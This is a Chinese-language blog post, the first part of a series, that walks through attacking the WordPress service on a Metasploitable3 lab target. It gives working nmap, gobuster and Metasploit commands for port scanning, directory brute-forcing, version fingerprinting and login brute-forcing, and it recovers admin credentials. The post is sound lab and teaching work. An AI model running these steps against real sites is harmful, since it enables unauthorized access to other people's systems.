Metasploitable3 WEB服务渗透示例(上)
前言:
关键字:Metasploit、Metasploitable3、KALI、渗透、暴力破解、反弹SHELL;
原本博主只是想写一篇关于这个话题的博文,没想到这一篇博文竟然需要分三次去写,内容比较多[每次写东西都远超预期……];这篇博文有什么?说实话,没什么,这个系列的博文,要说它是一个教程或指南,覆盖内容又不够多[毕竟这要成为教程的话,对读者要求比较高,至少需要了解Metasploit这一个渗透框架的操作]~所以,博主更觉得这个系列更像是一个科普性的博文!
这个系列的博文是关于什么的?这个系列的博文是关于渗透的,你也可以说这是关于黑客的……读完这个系列或者按这个系列的操作去实操,能得到什么?你能得到可能仅仅是对"渗透"这个词的理解,因为实操完了,你也成不了黑客,一般来说,你也黑不了互联网上的WEB服务!的这个东西能做什么?但读完或实操完这个系列,也是有好处的,它能让你了解到整个的"渗透"过程有一个什么样的阶段,在每一个阶段,到底那些渗透人员在做什么事;当然,具体每一个阶段中,渗透人员所做的事并不会就是完全按博客所说一样去做,毕竟,实现目标的方法可以有很多~
话说,以前博主是对这个事是感到很神秘的,但当博主玩多了服务器后,感觉这个事也就那样了;从最终结果上来看,渗透的最终目标和你平时SSH到一个服务器上没区别,只不过是一个是合法的,而另一个是非法的……嗯,废话说到这吧~
快速跳转
Metasploitable3 WORDPRESS服务渗透示例(上)
Metasploitable3 WORDPRESS服务渗透示例(中)
Metasploitable3 WORDPRESS服务渗透示例(下)
首、环境相关
本示例的相关环境如下,"192.168.100.95"为渗透系统,使用的当然是KALI,并使用到了入面配套的METASPLOIT渗透框架;"192.168.100.62"为Metasploitable3耙机,也就是我们的攻击目标;关于Metasploitable3耙机的搭建,博主是有想过写搭建教程的,但那个东西坑不少,写不写,我想想吧,毕竟这个东西玩的人不会太多,如果你希望博主写,留个言;又或者博主看心情去写吧~
-
渗透系统 : 192.168.100.95 -- [KALI] -- [METASPLOIT 6]
-
渗透目标 : 192.168.100.62 -- [Metasploitable3] -- [WORDPRESS]
-
测试日期:2022年06月28日
一、关于METASPLOIT
什么是"Metasploitable3"?"Metasploitable3"是METASPLOIT渗透框架配套的一个耙机环境,耙机中包含了大量存在安全漏洞的各类服务,用于各种的渗透学习/测试;WORDPRESS服务仅是其中一个服务,运行在8585端口,本指南宗旨是通过本教程,让读者了解一个完整的WEB渗透的全过程;
实际上"Metasploitable3"耙机中的各个服务,均存在着很多常见的漏洞,这意味着实际的渗透方法并不只本文一种,对于WORDPRESS服务,要获取服务器的最终的ROOT权限,也同样不只一种!!!本文的方法是单纯的从一个WEB渗透的角度,利用METASPLOIT渗透框架,实现最终对服务器ROOT权限的获取!
虽然整个WEB渗透的实现是基于METASPLOIT渗透框架,但由于METASPLOIT渗透框架中的"Meterpreter"模块的BUG[基于初始权限问题无法在目标上正常运行SHELL],部分过程实现借助了蚁剑工具;本文只是一篇初级渗透博文,部分步骤的实现可能有更合理的方式,请依据自身对渗透的理解调优……
我也不知道为什么写这些,开始渗透之旅吧~
二、信息收集
对于渗透一个目标,渗透工作的第一步就是"信息收集";这些信息一般包括:域名、真实的IP地址、目标服务器的网络状况、网站信息等;当然,我们当前是对"Metasploitable3"耙机上的服务进行渗透,很多的这些信息是没有的,或者说我们已经是知道的,所以本处略去此部分的内容!
目前,我们知道我们的渗透目标是"192.168.100.62",对于一个已知的渗透目标,渗透的第一步往往就是服务发现,也就是安全上常说的"端口扫描",对于端口扫描,用得最多的工具,那一定是"nmap"了;OK~知道这个就可以了,开始"端口扫描".....
1 2 3 4 5 6 7 8 9 |
# 扫描目标主机上开放的服务; nmap --open -sS -sV -n -p 8000-9000 192.168.100.62 # --open :仅输出端口状态为"open"的端口信息 # -sS :采用半开放扫描 # -sV :同时查询端口服务 # -n :禁用DNS解释 # 本处为了加快扫描速度与方便截图,所以定义了端口扫描的范围为"8000-9000" # 对于一个完整的端口扫描,应该指定扫描范围为"1-65535" # 其中,扫描结果中的"8585"就是本文的渗透目标[WORDPRESS服务] |
三、目录历遍
通过NMAP的扫描,我们成功的发现多个端口,其中"8585"端口上的服务就是我们的目标,经扫描结果发现,"8585"端口上运行着HTTP服务[注意:此时我们并不知道这具体是一个怎么样的服务架构];对"8585"端口发起HTTP访问,如图:
如上图,在对"http://192.168.100.62:8585"访问中,我们发现了这是一个WAMP架构的服务,即"WINDOW + APACHE + MYSQL + PHP"的架构,另外还包括了大量的其它信息;由于这是一个专用于渗透学习耙机,所以这还算正常,但回归实际的互联WEB应用中,这种能如此直接的获取服务器的这些重要信息,一般是不存在的……
现在假设这是一个真实的渗透过程,那么上面的这种信息页面一般是不存在或不会直接暴露的,那在较为普遍的实际情况中,一般是如何获取这些信息?其中的一个方法是WEB服务"目录爆破",也常被说为"目录历遍",常用的目录历遍工具有"dirb"、"gobuster"、"dirbuster"、......
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
# 安装"dirb"、"gobuster"[博主使用的KALI版本默认未安装] # 本文实际仅使用了"gobuster",但为了使用"dirb"的自带字典, # 所以同时也把"dirb"也安装了 apt install -y dirb gobuster # 对"http://192.168.100.62:8585/"进行目录历遍 # 通过目录历遍,发现各种重要文件与目录; # 见下图 gobuster dir -u http://192.168.100.62:8585/ -w /usr/share/dirb/wordlists/common.txt -q -e # dir : 使用目录/文件扫描模块 # -u : 设定目录爆破的URL # -w :设定目录爆破所使用的字典 # -q :安静模式[不输出不些意义不大的信息] # -e :"dir"模块选项--输出完整的URL |
在对上一步的目录历遍扫描中,我们发现了一个很明显的目录"wordpress"目录,这可以关联至WORDPRESS这个开源WEB平台,继续尝试对该目录进行历遍~最终可以确定这是一个基于WORDPRESS搭建的WEB应用
注:上图中其实还有很多有兴趣的文件或目录,有相关知识的读者可以自行去发现;
1 2 3 4 5 6 7 8 9 |
# 对"http://192.168.100.62:8585/wordpress"进行目录历遍 # 通过本次目录历遍,现在已经确信这是一个基于WORDPRESS搭建的WEB服务了 # 见下图 gobuster dir -u http://192.168.100.62:8585/wordpress -w /usr/share/dirb/wordlists/common.txt -q -e # dir : 使用目录/文件扫描模块 # -u : 设定目录爆破的URL # -w :设定目录爆破所使用的字典 # -q :安静模式[不输出不些意义不大的信息] # -e :"dir"模块选项--输出完整的URL |
四、渗透入口发现
本文说了一个"渗透入口",实际并没这个词,这是一个概念,大概可将其归类为信息收集方式,主要是辅助真实的渗透过程;
由于已知这是一个WORDPRESS的WEB服务,于是我们可以尝试发现访问一些基于WORDPRESS架构的默认页面,例如:"http://192.168.100.62:8585/wordpress/readme.html"、"http://192.168.100.62:8585/wordpress/wp-login.php"
通过上面的操作,本文很简单就获取到了WORDPRESS服务的版本号[官方已修复]及其登录入口,一般来说,登录入口是很少会被改变的,但版本号一般是不会如此轻易地被发现的[实际上新版本的WORDPRESS也已经对此进行了修复]……对于WORDPRESS的版本分析,我们也可以使用METASPLOIT渗透框架中的"wordpress_scanner"模块[一个基于特征去识别WORDPRESS版本的渗透模块]~
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
# 192.168.100.95 # 进入KALI # 进入MFS的SHELL环境 $ msfconsole # 在MFS的SHELL环境中加载指定模块、设定并执行 # 以下操作按顺序为: # 1、加载"wordpress_scanner"模块 # 2、设定渗透目录IP # 3、设定WORPRESS服务运行的端口 # 4、设定WORPRESS服务的WEB子路径 > use auxiliary/scanner/http/wordpress_scanner > set rhosts 192.168.100.62 > set rport 8585 > set targeturi /wordpress > show missing > run |
利用METASPLOIT渗透框架的"wordpress_scanner"模块,本文探测出WORDPRESS的版本为"4.6.1",并且还探测出其运行了一个版本为"2.9.42"的"ninja-forms"插件[插件相当于WORDPRESS的功能扩展组件;
基于以上的版本信息,我们就可以使用百度或GOOGLE,去搜索互联网上基于这些服务所存在的安全漏洞去实施渗透攻击了。其中,版本为"2.9.42"的"ninja-forms"插件就存在"CVE-2020-12462"安全漏洞;
五、暴力破解
是的,基于前一标题中的内容,实际上我们可以使用公开的漏洞去对一个WEB服务发起渗透攻击,这是渗透WEB服务的其中一个重要的方法;但本文并未使用以上的公开漏洞的方法,本文采用的方法为密码爆破,也称为"暴力破解"、"字典破解";
现在,本文对"http://192.168.100.62:8585/wordpress/wp-login.php"这一登录入口尝试暴力破解账号与密码,使用的是METASPLOIT渗透框架的"wordpress_login_enum"模块;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
# 192.168.100.95 # 进入KALI # 进入MFS的SHELL环境 $ msfconsole # 在MFS的SHELL环境中加载指定模块、设定并执行 # 以下操作按顺序为: # 1、加载"wordpress_login_enum"模块 # 2、设定渗透目录IP # 3、设定WORPRESS服务运行的端口 # 4、设定WORPRESS服务的WEB子路径 # 5、设定爆破过程中所使用的"用户名称"字典 # 6、设定爆破过程中所使用的"密码"字典 # 注:基于这一种定义方式,"用户名字典"与"密码字典"将以 # 组合的方式进行爆破测试 # 注:你可以使用"> set bruteforce false"来禁用账号密码爆破测试 # 在启用模块的此选项的情况下,仅进行可用"用户"的探测 # 注:你可以使用"> set user_as_pass true"的方式来设定,"密码"等于"用户名"的 # 密码爆破测试;启用本模块选项的探测结果与以下命令代码结果相同; # 注:METASPLOIT渗透框架中的每一个模块都存在关大量的可设定选项,以实现不同的 # 的攻击方式,详细可使用"> show options"查询; > search path:login fullname:wordpress > use auxiliary/scanner/http/wordpress_login_enum > set rhosts 192.168.100.62 > set rport 8585 > set targeturi /wordpress > set user_file /usr/share/metasploit-framework/data/wordlists/http_default_users.txt > set user_as_pass true > show missing > run |
经过以上爆破结果,我们得到两个可用账号,分别是:manager:manager、vagrant:vagrant;在""页面进行登录,发现""为管理员权限,至此,本文的渗透获得了一个阶段性的胜利~
六、结
至此,"Metasploitable3 WORDPRESS服务渗透指南(上)"已经完结,本文获得了WORDPRESS服务的后台管理员权限,由于是管理员权限,我们可以实现针对WEB网站的很多操作,例如:修改首页、新增用户、修改用户密码、特定文件上传等等……只要是基于WORDPRESS框架下的操作,我们均可以实现。
当然,成功渗透进一个CMS系统[信息/内容管理系统[WORDPRESS是CMS的一种]的后台,可以说是一个重大的成功[现实中不会如此轻松],但这往往只是整个渗透中一个重要阶段,并不是最终阶段,每一个渗透的最终也是最后目标是获取服务器的ROOT权限[基于操作系统层级的最高管理权限];
在"Metasploitable3 WORDPRESS服务渗透示例(中)"中,我们将为实现获取基于操作系统系统层级的最高管理权限这一目标,去了解"反向SHELL"这一技术……
Metasploitable3 WEB服务渗透示例(上):等您坐沙发呢!